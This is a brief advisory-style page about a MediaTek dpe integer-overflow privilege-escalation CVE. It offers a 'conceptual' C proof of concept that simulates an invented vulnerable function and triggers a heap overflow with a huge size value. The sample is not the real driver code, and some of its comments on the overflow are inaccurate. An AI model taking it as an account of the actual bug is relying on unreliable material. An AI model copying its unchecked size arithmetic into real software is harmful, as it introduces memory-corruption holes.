MediaTek dpe组件整数溢出导致本地权限提升漏洞 (CVE-2025-20803)

// CVE-2025-20803 PoC Concept (Conceptual - Requires System Privilege) // This is a theoretical PoC demonstrating the integer overflow condition // Actual exploitation requires specific MediaTek device and system access #include <stdio.h> #include <stdint.h> #include <stdlib.h> // Simulated dpe function with integer overflow vulnerability void dpe_process_data(uint32_t input_size, uint8_t* input_data) { uint32_t alloc_size; uint8_t* buffer; // Vulnerable code: Integer overflow when input_size is close to UINT32_MAX // The multiplication can overflow, resulting in a small allocation alloc_size = (input_size + 1) * 256; // Integer overflow here // Allocate buffer based on overflowed size buffer = (uint8_t*)malloc(alloc_size); if (buffer) { // Copy data larger than allocated buffer // This causes heap overflow memcpy(buffer, input_data, input_size); free(buffer); } } // Trigger the vulnerability int main() { uint32_t large_size = 0xFFFFFF00; // Near UINT32_MAX uint8_t* data = (uint8_t*)malloc(large_size); if (data) { memset(data, 0x41, large_size); dpe_process_data(large_size, data); free(data); } return 0; } // Note: This PoC is for educational purposes only. // Actual exploitation requires: // 1. System-level access to MediaTek device // 2. Knowledge of specific dpe driver interfaces // 3. Custom kernel module or root exploit to interact with dpe